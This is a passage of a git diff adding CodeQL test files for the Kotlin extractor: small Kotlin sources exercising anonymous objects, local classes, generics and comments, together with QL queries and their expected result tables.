+| classes.kt:129:17:131:17 | super(...) |
+| generic_anonymous.kt:1:1:9:1 | super(...) |
+| generic_anonymous.kt:3:19:5:3 | super(...) |
+| localClassField.kt:1:1:11:1 | super(...) |
+| localClassField.kt:3:9:3:19 | super(...) |
+| localClassField.kt:8:9:8:19 | super(...) |
+| local_anonymous.kt:3:1:36:1 | super(...) |
+| local_anonymous.kt:5:16:7:9 | super(...) |
+| local_anonymous.kt:11:9:11:24 | super(...) |
+| local_anonymous.kt:16:23:16:49 | super(...) |
+| local_anonymous.kt:17:23:17:49 | super(...) |
+| local_anonymous.kt:21:21:21:31 | super(...) |
+| local_anonymous.kt:25:9:25:27 | super(...) |
+| local_anonymous.kt:29:31:35:5 | super(...) |
+| local_anonymous.kt:39:1:45:1 | super(...) |
+| local_anonymous.kt:40:14:44:5 | super(...) |
+| superChain.kt:1:1:1:33 | super(...) |
+| superChain.kt:2:33:2:57 | super(...) |
+| superChain.kt:3:33:3:57 | super(...) |
diff --git a/java/ql/test/kotlin/library-tests/classes/ctorCalls.ql b/java/ql/test/kotlin/library-tests/classes/ctorCalls.ql
new file mode 100644
index 00000000000..288c3787b8e
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/ctorCalls.ql
@@ -0,0 +1,5 @@
+import java
+
+query predicate thisCall(ThisConstructorInvocationStmt stmt) { any() }
+
+query predicate superCall(SuperConstructorInvocationStmt stmt) { any() }
diff --git a/java/ql/test/kotlin/library-tests/classes/diags.expected b/java/ql/test/kotlin/library-tests/classes/diags.expected
new file mode 100644
index 00000000000..e69de29bb2d
diff --git a/java/ql/test/kotlin/library-tests/classes/diags.ql b/java/ql/test/kotlin/library-tests/classes/diags.ql
new file mode 100644
index 00000000000..f791c30d153
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/diags.ql
@@ -0,0 +1,8 @@
+import semmle.code.java.Diagnostics
+
+from Diagnostic d
+where d.getSeverity() > 2
+select d, d.getGeneratedBy(), d.getSeverity(), d.getTag(), d.getMessage(),
+  d.getFullMessage()
+      .regexpReplaceAll("^\\[[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}:[0-9]{2} K\\] ",
+        "[DATE TIME K] ")
diff --git a/java/ql/test/kotlin/library-tests/classes/genericExprTypes.expected b/java/ql/test/kotlin/library-tests/classes/genericExprTypes.expected
new file mode 100644
index 00000000000..aa9514774a6
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/genericExprTypes.expected
@@ -0,0 +1,46 @@
+| generic_anonymous.kt:1:26:1:33 | ...=... | T |
+| generic_anonymous.kt:1:26:1:33 | T | T |
+| generic_anonymous.kt:1:26:1:33 | T | T |
+| generic_anonymous.kt:1:26:1:33 | T | T |
+| generic_anonymous.kt:1:26:1:33 | t | T |
+| generic_anonymous.kt:1:26:1:33 | t | T |
+| generic_anonymous.kt:1:26:1:33 | this | Generic |
+| generic_anonymous.kt:1:26:1:33 | this.t | T |
+| generic_anonymous.kt:3:3:5:3 | ...=... | new Object(...) { ... } |
+| generic_anonymous.kt:3:3:5:3 | T | T |
+| generic_anonymous.kt:3:3:5:3 | new Object(...) { ... } | new Object(...) { ... } |
+| generic_anonymous.kt:3:3:5:3 | x | new Object(...) { ... } |
+| generic_anonymous.kt:3:11:5:3 | T | T |
+| generic_anonymous.kt:3:11:5:3 | new Object(...) { ... } | new Object(...) { ... } |
+| generic_anonymous.kt:3:11:5:3 | this | Generic |
+| generic_anonymous.kt:3:11:5:3 | this.x | new Object(...) { ... } |
+| generic_anonymous.kt:3:19:5:3 | <Stmt> | new Object(...) { ... } |
+| generic_anonymous.kt:3:19:5:3 | Object | Object |
+| generic_anonymous.kt:3:19:5:3 | new (...) | new Object(...) { ... } |
+| generic_anonymous.kt:4:7:4:20 | ...=... | T |
+| generic_anonymous.kt:4:7:4:20 | T | T |
+| generic_anonymous.kt:4:7:4:20 | T | T |
+| generic_anonymous.kt:4:7:4:20 | member | T |
+| generic_anonymous.kt:4:7:4:20 | this | new Object(...) { ... } |
+| generic_anonymous.kt:4:7:4:20 | this.member | T |
+| generic_anonymous.kt:4:20:4:20 | Generic | Generic |
+| generic_anonymous.kt:4:20:4:20 | Generic.this | Generic |
+| generic_anonymous.kt:4:20:4:20 | getT(...) | T |
+| generic_anonymous.kt:7:3:7:22 | T | T |
+| generic_anonymous.kt:7:15:7:15 | getX$private(...) | new Object(...) { ... } |
+| generic_anonymous.kt:7:15:7:15 | this | Generic |
+| generic_anonymous.kt:7:17:7:22 | getMember(...) | T |
+| generic_anonymous.kt:11:1:11:56 | String | String |
+| generic_anonymous.kt:11:20:11:28 | String | String |
+| generic_anonymous.kt:11:33:11:50 | Generic<String> | Generic<String> |
+| generic_anonymous.kt:11:33:11:50 | String | String |
+| generic_anonymous.kt:11:33:11:50 | new Generic<String>(...) | Generic<String> |
+| generic_anonymous.kt:11:49:11:49 | s | String |
+| generic_anonymous.kt:11:52:11:56 | get(...) | String |
+| generic_anonymous.kt:13:1:13:47 | int | int |
+| generic_anonymous.kt:13:17:13:22 | int | int |
+| generic_anonymous.kt:13:27:13:41 | Generic<Integer> | Generic<Integer> |
+| generic_anonymous.kt:13:27:13:41 | Integer | Integer |
+| generic_anonymous.kt:13:27:13:41 | new Generic<Integer>(...) | Generic<Integer> |
+| generic_anonymous.kt:13:40:13:40 | i | int |
+| generic_anonymous.kt:13:43:13:47 | get(...) | int |
diff --git a/java/ql/test/kotlin/library-tests/classes/genericExprTypes.ql b/java/ql/test/kotlin/library-tests/classes/genericExprTypes.ql
new file mode 100644
index 00000000000..5e4f38ab235
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/genericExprTypes.ql
@@ -0,0 +1,5 @@
+import java
+
+from Expr e
+where e.getLocation().getFile().getBaseName() = "generic_anonymous.kt"
+select e, e.getType().toString()
diff --git a/java/ql/test/kotlin/library-tests/classes/generic_anonymous.kt b/java/ql/test/kotlin/library-tests/classes/generic_anonymous.kt
new file mode 100644
index 00000000000..df8d3a2a894
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/generic_anonymous.kt
@@ -0,0 +1,13 @@
+private class Generic<T>(val t: T) {
+
+  private val x = object {
+      val member = t
+  }
+
+  fun get() = x.member
+
+}
+
+fun stringIdentity(s: String) = Generic<String>(s).get()
+
+fun intIdentity(i: Int) = Generic<Int>(i).get()
diff --git a/java/ql/test/kotlin/library-tests/classes/interfaces.expected b/java/ql/test/kotlin/library-tests/classes/interfaces.expected
new file mode 100644
index 00000000000..79faca1ad6a
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/interfaces.expected
@@ -0,0 +1,6 @@
+| classes.kt:20:1:22:1 | IF1 |
+| classes.kt:24:1:26:1 | IF2 |
+| classes.kt:59:1:59:23 | Interface1 |
+| classes.kt:60:1:60:23 | Interface2 |
+| classes.kt:61:1:61:26 | Interface3 |
+| local_anonymous.kt:38:1:38:23 | Interface2 |
diff --git a/java/ql/test/kotlin/library-tests/classes/interfaces.ql b/java/ql/test/kotlin/library-tests/classes/interfaces.ql
new file mode 100644
index 00000000000..e3a3e5a27ce
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/interfaces.ql
@@ -0,0 +1,5 @@
+import java
+
+from Interface i
+where i.fromSource()
+select i
diff --git a/java/ql/test/kotlin/library-tests/classes/localClass.expected b/java/ql/test/kotlin/library-tests/classes/localClass.expected
new file mode 100644
index 00000000000..751b6649982
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/localClass.expected
@@ -0,0 +1,8 @@
+| classes.kt:111:9:113:9 | class ... | classes.kt:111:9:113:9 | Local1 | classes.kt:110:5:115:5 | fn1 | classes.kt:109:1:136:1 | C1 |
+| classes.kt:118:9:123:9 | class ... | classes.kt:118:9:123:9 |  | classes.kt:117:5:124:5 | fn2 | classes.kt:109:1:136:1 | C1 |
+| classes.kt:119:13:121:13 | class ... | classes.kt:119:13:121:13 | Local2 | classes.kt:118:9:123:9 | localFn | classes.kt:109:1:136:1 | C1 |
+| classes.kt:129:17:131:17 | class ... | classes.kt:129:17:131:17 | Local3 | classes.kt:128:13:133:13 | fn | classes.kt:127:16:134:9 | new Object(...) { ... } |
+| localClassField.kt:3:9:3:19 | class ... | localClassField.kt:3:9:3:19 | L | localClassField.kt:1:1:11:1 | A | localClassField.kt:1:1:11:1 | A |
+| localClassField.kt:8:9:8:19 | class ... | localClassField.kt:8:9:8:19 | L | localClassField.kt:1:1:11:1 | A | localClassField.kt:1:1:11:1 | A |
+| local_anonymous.kt:11:9:11:24 | class ... | local_anonymous.kt:11:9:11:24 |  | local_anonymous.kt:10:5:13:5 | fn2 | local_anonymous.kt:3:1:36:1 | Class1 |
+| local_anonymous.kt:25:9:25:27 | class ... | local_anonymous.kt:25:9:25:27 | LocalClass | local_anonymous.kt:24:5:27:5 | fn5 | local_anonymous.kt:3:1:36:1 | Class1 |
diff --git a/java/ql/test/kotlin/library-tests/classes/localClass.ql b/java/ql/test/kotlin/library-tests/classes/localClass.ql
new file mode 100644
index 00000000000..fc399f651e5
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/localClass.ql
@@ -0,0 +1,5 @@
+import java
+
+from LocalTypeDeclStmt s
+where not s.getLocalType() instanceof AnonymousClass
+select s, s.getLocalType(), s.getEnclosingCallable(), s.getLocalType().getEnclosingType()
diff --git a/java/ql/test/kotlin/library-tests/classes/localClassField.kt b/java/ql/test/kotlin/library-tests/classes/localClassField.kt
new file mode 100644
index 00000000000..f1db3f45a79
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/localClassField.kt
@@ -0,0 +1,11 @@
+class A {
+    val x = if (true) {
+        class L { }
+        L()
+    } else {}
+
+    val y = if (true) {
+        class L { }
+        L()
+    } else {}
+}
diff --git a/java/ql/test/kotlin/library-tests/classes/local_anonymous.expected b/java/ql/test/kotlin/library-tests/classes/local_anonymous.expected
new file mode 100644
index 00000000000..88c917607ff
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/local_anonymous.expected
@@ -0,0 +1,14 @@
+anonymousObjects
+| local_anonymous.kt:5:16:7:9 | new (...) | local_anonymous.kt:5:16:7:9 | new Object(...) { ... } | anonymous | local |
+| local_anonymous.kt:29:31:35:5 | new (...) | local_anonymous.kt:29:31:35:5 | new Object(...) { ... } | anonymous | local |
+| local_anonymous.kt:40:14:44:5 | new (...) | local_anonymous.kt:40:14:44:5 | new Interface2(...) { ... } | anonymous | local |
+localFunctions
+| local_anonymous.kt:11:9:11:24 | fnLocal | local_anonymous.kt:11:9:11:24 |  | not anonymous | local |
+lambdas
+| local_anonymous.kt:16:23:16:49 | ...->... | local_anonymous.kt:16:23:16:49 | new Function2<Integer,Integer,Integer>(...) { ... } | anonymous | not local |
+| local_anonymous.kt:17:23:17:49 | ...->... | local_anonymous.kt:17:23:17:49 | new Function2<Integer,Integer,Integer>(...) { ... } | anonymous | not local |
+memberRefs
+| local_anonymous.kt:21:21:21:31 | ...::... | local_anonymous.kt:21:21:21:31 | new Function1<Class1,Unit>(...) { ... } | anonymous | not local |
+localClasses
+| local_anonymous.kt:11:9:11:24 |  | not anonymous | local |
+| local_anonymous.kt:25:9:25:27 | LocalClass | not anonymous | local |
diff --git a/java/ql/test/kotlin/library-tests/classes/local_anonymous.kt b/java/ql/test/kotlin/library-tests/classes/local_anonymous.kt
new file mode 100644
index 00000000000..ff43596b64b
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/local_anonymous.kt
@@ -0,0 +1,45 @@
+package LocalAnonymous
+
+class Class1 {
+    fun fn1(): Any {
+        return object {
+            fun fn() {}
+        }
+    }
+
+    fun fn2() {
+        fun fnLocal() {}
+        fnLocal()
+    }
+
+    fun fn3() {
+        val lambda1 = { a: Int, b: Int -> a + b }
+        val lambda2 = fun(a: Int, b: Int) = a + b
+    }
+
+    fun fn4() {
+        val fnRef = Class1::fn3
+    }
+
+    fun fn5() {
+        class LocalClass {}
+        LocalClass()
+    }
+
+    fun nullableAnonymous() = object {
+        var x = 1
+
+        fun member() {
+            val maybeThis = if (x == 1) this else null // Expression with nullable anonymous type
+        }
+    }
+}
+
+interface Interface2 {}
+class Class2 {
+     var i = object: Interface2 {
+        init {
+            var answer: String = "42" // Local variable in anonymous class initializer
+        }
+    }
+}
diff --git a/java/ql/test/kotlin/library-tests/classes/local_anonymous.ql b/java/ql/test/kotlin/library-tests/classes/local_anonymous.ql
new file mode 100644
index 00000000000..af8e63e50d8
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/local_anonymous.ql
@@ -0,0 +1,53 @@
+import java
+
+private predicate filterFile(Top t) {
+  t.getFile().getRelativePath().matches("%/local_anonymous.kt")
+}
+
+private string isAnonymousType(Type t) {
+  if t instanceof AnonymousClass then result = "anonymous" else result = "not anonymous"
+}
+
+private string isLocalType(Type t) {
+  if t instanceof LocalClassOrInterface then result = "local" else result = "not local"
+}
+
+query predicate anonymousObjects(ClassInstanceExpr e, Type t, string anon, string local) {
+  filterFile(e) and
+  exists(AnonymousClass c | e = c.getClassInstanceExpr()) and
+  not exists(LambdaExpr l | l.getType() = t) and
+  not exists(MemberRefExpr mr | mr.getType() = t) and
+  not exists(Method m | m = t.(Class).getAMethod() and m.isLocal()) and
+  t = e.getType() and
+  anon = isAnonymousType(t) and
+  local = isLocalType(t)
+}
+
+query predicate localFunctions(Method m, Type t, string anon, string local) {
+  filterFile(m) and
+  m.isLocal() and
+  t = m.getDeclaringType() and
+  anon = isAnonymousType(t) and
+  local = isLocalType(t)
+}
+
+query predicate lambdas(LambdaExpr e, Type t, string anon, string local) {
+  filterFile(e) and
+  t = e.getType() and
+  anon = isAnonymousType(t) and
+  local = isLocalType(t)
+}
+
+query predicate memberRefs(MemberRefExpr e, Type t, string anon, string local) {
+  filterFile(e) and
+  t = e.getType() and
+  anon = isAnonymousType(t) and
+  local = isLocalType(t)
+}
+
+query predicate localClasses(LocalClass c, string anon, string local) {
+  filterFile(c) and
+  not c instanceof AnonymousClass and
+  anon = isAnonymousType(c) and
+  local = isLocalType(c)
+}
diff --git a/java/ql/test/kotlin/library-tests/classes/paramTypes.expected b/java/ql/test/kotlin/library-tests/classes/paramTypes.expected
new file mode 100644
index 00000000000..4c18ea2ed72
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/paramTypes.expected
@@ -0,0 +1,21 @@
+| classes.kt:111:9:113:9 | Local1 | 0 | classes.kt:111:22:111:23 | T1 |
+| classes.kt:119:13:121:13 | Local2 | 0 | classes.kt:119:26:119:27 | T1 |
+| classes.kt:129:17:131:17 | Local3 | 0 | classes.kt:129:30:129:31 | T1 |
+| file://<external>/C1$<no name provided>$Local3.class:0:0:0:0 | Local3<Integer> | 0 | file://<external>/Integer.class:0:0:0:0 | Integer |
+| file://<external>/C1$Local1.class:0:0:0:0 | Local1<Integer> | 0 | file://<external>/Integer.class:0:0:0:0 | Integer |
+| file://<external>/C1$Local2.class:0:0:0:0 | Local2<Integer> | 0 | file://<external>/Integer.class:0:0:0:0 | Integer |
+| file://<external>/Generic.class:0:0:0:0 | Generic<Integer> | 0 | file://<external>/Integer.class:0:0:0:0 | Integer |
+| file://<external>/Generic.class:0:0:0:0 | Generic<String> | 0 | file://<external>/String.class:0:0:0:0 | String |
+| file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T3,String> | 0 | superChain.kt:2:24:2:25 | T3 |
+| file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T3,String> | 1 | file://<external>/String.class:0:0:0:0 | String |
+| file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T5,String> | 0 | superChain.kt:3:24:3:25 | T5 |
+| file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T5,String> | 1 | file://<external>/String.class:0:0:0:0 | String |
+| file://<external>/SuperChain2.class:0:0:0:0 | SuperChain2<T5,String> | 0 | superChain.kt:3:24:3:25 | T5 |
+| file://<external>/SuperChain2.class:0:0:0:0 | SuperChain2<T5,String> | 1 | file://<external>/String.class:0:0:0:0 | String |
+| generic_anonymous.kt:1:1:9:1 | Generic | 0 | generic_anonymous.kt:1:23:1:23 | T |
+| superChain.kt:1:1:1:33 | SuperChain1 | 0 | superChain.kt:1:24:1:25 | T1 |
+| superChain.kt:1:1:1:33 | SuperChain1 | 1 | superChain.kt:1:28:1:29 | T2 |
+| superChain.kt:2:1:2:60 | SuperChain2 | 0 | superChain.kt:2:24:2:25 | T3 |
+| superChain.kt:2:1:2:60 | SuperChain2 | 1 | superChain.kt:2:28:2:29 | T4 |
+| superChain.kt:3:1:3:60 | SuperChain3 | 0 | superChain.kt:3:24:3:25 | T5 |
+| superChain.kt:3:1:3:60 | SuperChain3 | 1 | superChain.kt:3:28:3:29 | T6 |
diff --git a/java/ql/test/kotlin/library-tests/classes/paramTypes.ql b/java/ql/test/kotlin/library-tests/classes/paramTypes.ql
new file mode 100644
index 00000000000..d067ca265ec
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/paramTypes.ql
@@ -0,0 +1,16 @@
+import java
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+from ParameterizedClass c, int i
+where c.getSourceDeclaration().fromSource()
+select c, i, c.getTypeArgument(i)
diff --git a/java/ql/test/kotlin/library-tests/classes/superChain.kt b/java/ql/test/kotlin/library-tests/classes/superChain.kt
new file mode 100644
index 00000000000..63a27094490
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/superChain.kt
@@ -0,0 +1,5 @@
+open class SuperChain1<T1, T2> {}
+open class SuperChain2<T3, T4>: SuperChain1<T3, String>() {}
+open class SuperChain3<T5, T6>: SuperChain2<T5, String>() {}
+// This should end up with SuperChain2<T5, String> having
+// SuperChain1<T5, String> as a supertype.
diff --git a/java/ql/test/kotlin/library-tests/classes/superTypes.expected b/java/ql/test/kotlin/library-tests/classes/superTypes.expected
new file mode 100644
index 00000000000..f0b7f0ca3e9
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/superTypes.expected
@@ -0,0 +1,70 @@
+| classes.kt:2:1:2:18 | ClassOne | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:4:1:6:1 | ClassTwo | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:8:1:10:1 | ClassThree | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:12:1:15:1 | ClassFour | classes.kt:8:1:10:1 | ClassThree |
+| classes.kt:17:1:18:1 | ClassFive | classes.kt:12:1:15:1 | ClassFour |
+| classes.kt:28:1:30:1 | ClassSix | classes.kt:12:1:15:1 | ClassFour |
+| classes.kt:28:1:30:1 | ClassSix | classes.kt:20:1:22:1 | IF1 |
+| classes.kt:28:1:30:1 | ClassSix | classes.kt:24:1:26:1 | IF2 |
+| classes.kt:34:1:47:1 | ClassSeven | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:49:1:51:1 | Direction | file://<external>/Enum.class:0:0:0:0 | Enum<Direction> |
+| classes.kt:53:1:57:1 | Color | file://<external>/Enum.class:0:0:0:0 | Enum<Color> |
+| classes.kt:63:1:91:1 | Class1 | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:66:20:66:54 | new Object(...) { ... } | classes.kt:59:1:59:23 | Interface1 |
+| classes.kt:66:20:66:54 | new Object(...) { ... } | classes.kt:60:1:60:23 | Interface2 |
+| classes.kt:68:20:68:74 | new Object(...) { ... } | classes.kt:59:1:59:23 | Interface1 |
+| classes.kt:68:20:68:74 | new Object(...) { ... } | classes.kt:60:1:60:23 | Interface2 |
+| classes.kt:68:20:68:74 | new Object(...) { ... } | file://<external>/Interface3.class:0:0:0:0 | Interface3<String> |
+| classes.kt:72:16:77:10 | new Object(...) { ... } | classes.kt:59:1:59:23 | Interface1 |
+| classes.kt:72:16:77:10 | new Object(...) { ... } | classes.kt:60:1:60:23 | Interface2 |
+| classes.kt:75:24:75:33 | new Object(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:81:16:81:38 | new Interface1(...) { ... } | classes.kt:59:1:59:23 | Interface1 |
+| classes.kt:85:16:85:25 | new Object(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:89:16:89:44 | new Interface3<Integer>(...) { ... } | file://<external>/Interface3.class:0:0:0:0 | Interface3<Integer> |
+| classes.kt:93:1:93:26 | pulicClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:94:1:94:29 | privateClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:95:1:95:31 | internalClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:96:1:96:34 | noExplicitVisibilityClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:98:1:104:1 | nestedClassVisibilities | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:99:5:99:36 | pulicNestedClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:100:5:100:43 | protectedNestedClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:101:5:101:39 | privateNestedClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:102:5:102:41 | internalNestedClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:103:5:103:44 | noExplicitVisibilityNestedClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:106:1:106:27 | sealedClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:107:1:107:23 | openClass | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:109:1:136:1 | C1 | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:111:9:113:9 | Local1 | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:118:9:123:9 |  | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:119:13:121:13 | Local2 | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:127:16:134:9 | new Object(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| classes.kt:129:17:131:17 | Local3 | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/C1$<no name provided>$Local3.class:0:0:0:0 | Local3<Integer> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/C1$Local1.class:0:0:0:0 | Local1<Integer> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/C1$Local2.class:0:0:0:0 | Local2<Integer> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/Generic.class:0:0:0:0 | Generic<Integer> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/Generic.class:0:0:0:0 | Generic<String> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T3,String> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T5,String> | file://<external>/Object.class:0:0:0:0 | Object |
+| file://<external>/SuperChain2.class:0:0:0:0 | SuperChain2<T5,String> | file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T5,String> |
+| generic_anonymous.kt:1:1:9:1 | Generic | file://<external>/Object.class:0:0:0:0 | Object |
+| generic_anonymous.kt:3:19:5:3 | new Object(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| localClassField.kt:1:1:11:1 | A | file://<external>/Object.class:0:0:0:0 | Object |
+| localClassField.kt:3:9:3:19 | L | file://<external>/Object.class:0:0:0:0 | Object |
+| localClassField.kt:8:9:8:19 | L | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:3:1:36:1 | Class1 | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:5:16:7:9 | new Object(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:11:9:11:24 |  | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:16:23:16:49 | new Function2<Integer,Integer,Integer>(...) { ... } | file://<external>/Function2.class:0:0:0:0 | Function2<Integer,Integer,Integer> |
+| local_anonymous.kt:16:23:16:49 | new Function2<Integer,Integer,Integer>(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:17:23:17:49 | new Function2<Integer,Integer,Integer>(...) { ... } | file://<external>/Function2.class:0:0:0:0 | Function2<Integer,Integer,Integer> |
+| local_anonymous.kt:17:23:17:49 | new Function2<Integer,Integer,Integer>(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:21:21:21:31 | new Function1<Class1,Unit>(...) { ... } | file://<external>/Function1.class:0:0:0:0 | Function1<Class1,Unit> |
+| local_anonymous.kt:21:21:21:31 | new Function1<Class1,Unit>(...) { ... } | file://<external>/FunctionReference.class:0:0:0:0 | FunctionReference |
+| local_anonymous.kt:25:9:25:27 | LocalClass | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:29:31:35:5 | new Object(...) { ... } | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:39:1:45:1 | Class2 | file://<external>/Object.class:0:0:0:0 | Object |
+| local_anonymous.kt:40:14:44:5 | new Interface2(...) { ... } | local_anonymous.kt:38:1:38:23 | Interface2 |
+| superChain.kt:1:1:1:33 | SuperChain1 | file://<external>/Object.class:0:0:0:0 | Object |
+| superChain.kt:2:1:2:60 | SuperChain2 | file://<external>/SuperChain1.class:0:0:0:0 | SuperChain1<T3,String> |
+| superChain.kt:3:1:3:60 | SuperChain3 | file://<external>/SuperChain2.class:0:0:0:0 | SuperChain2<T5,String> |
diff --git a/java/ql/test/kotlin/library-tests/classes/superTypes.ql b/java/ql/test/kotlin/library-tests/classes/superTypes.ql
new file mode 100644
index 00000000000..d36ae974d65
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/classes/superTypes.ql
@@ -0,0 +1,18 @@
+import java
+
+// Stop external filepaths from appearing in the results
+class ClassOrInterfaceLocation extends ClassOrInterface {
+  override predicate hasLocationInfo(string path, int sl, int sc, int el, int ec) {
+    exists(string fullPath | super.hasLocationInfo(fullPath, sl, sc, el, ec) |
+      if exists(this.getFile().getRelativePath())
+      then path = fullPath
+      else path = fullPath.regexpReplaceAll(".*/", "<external>/")
+    )
+  }
+}
+
+from Class c, Type superType
+where
+  c.getSourceDeclaration().fromSource() and
+  superType = c.getASupertype()
+select c, superType
diff --git a/java/ql/test/kotlin/library-tests/comments/comments.expected b/java/ql/test/kotlin/library-tests/comments/comments.expected
new file mode 100644
index 00000000000..740f50d8b56
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/comments/comments.expected
@@ -0,0 +1,45 @@
+comments
+| comments.kt:1:1:1:25 | /** Kdoc with no owner */ | /** Kdoc with no owner */ |
+| comments.kt:4:1:11:3 | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ |
+| comments.kt:14:5:16:7 | /**\n     * Members of this group.\n     */ | /**\n     * Members of this group.\n     */ |
+| comments.kt:19:5:22:7 | /**\n     * Adds a [member] to this group.\n     * @return the new size of the group.\n     */ | /**\n     * Adds a [member] to this group.\n     * @return the new size of the group.\n     */ |
+| comments.kt:24:9:24:25 | // A line comment | // A line comment |
+| comments.kt:28:5:30:6 | /*\n    A block comment\n    */ | /*\n    A block comment\n    */ |
+| comments.kt:35:5:35:34 | /** Medium is in the middle */ | /** Medium is in the middle */ |
+| comments.kt:37:5:37:23 | /** This is high */ | /** This is high */ |
+| comments.kt:42:5:44:6 | /**\n     * A variable.\n    */ | /**\n     * A variable.\n    */ |
+commentOwners
+| comments.kt:4:1:11:3 | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ | comments.kt:12:1:31:1 | Group |
+| comments.kt:4:1:11:3 | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ | comments.kt:12:1:31:1 | Group |
+| comments.kt:14:5:16:7 | /**\n     * Members of this group.\n     */ | comments.kt:17:5:17:46 | members |
+| comments.kt:14:5:16:7 | /**\n     * Members of this group.\n     */ | comments.kt:17:5:17:46 | members |
+| comments.kt:14:5:16:7 | /**\n     * Members of this group.\n     */ | comments.kt:17:13:17:46 | getMembers$private |
+| comments.kt:19:5:22:7 | /**\n     * Adds a [member] to this group.\n     * @return the new size of the group.\n     */ | comments.kt:23:5:26:5 | add |
+| comments.kt:35:5:35:34 | /** Medium is in the middle */ | comments.kt:36:5:36:14 | Medium |
+| comments.kt:37:5:37:23 | /** This is high */ | comments.kt:38:5:38:11 | High |
+| comments.kt:42:5:44:6 | /**\n     * A variable.\n    */ | comments.kt:45:5:45:13 | int a |
+commentSections
+| comments.kt:1:1:1:25 | /** Kdoc with no owner */ | Kdoc with no owner |
+| comments.kt:4:1:11:3 | /**\n * A group of *members*.\n *\n * This class has no useful logic; it's just a documentation example.\n *\n * @property name the name of this group.\n * @constructor Creates an empty group.\n */ | A group of *members*.\n\nThis class has no useful logic; it's just a documentation example.\n\n |
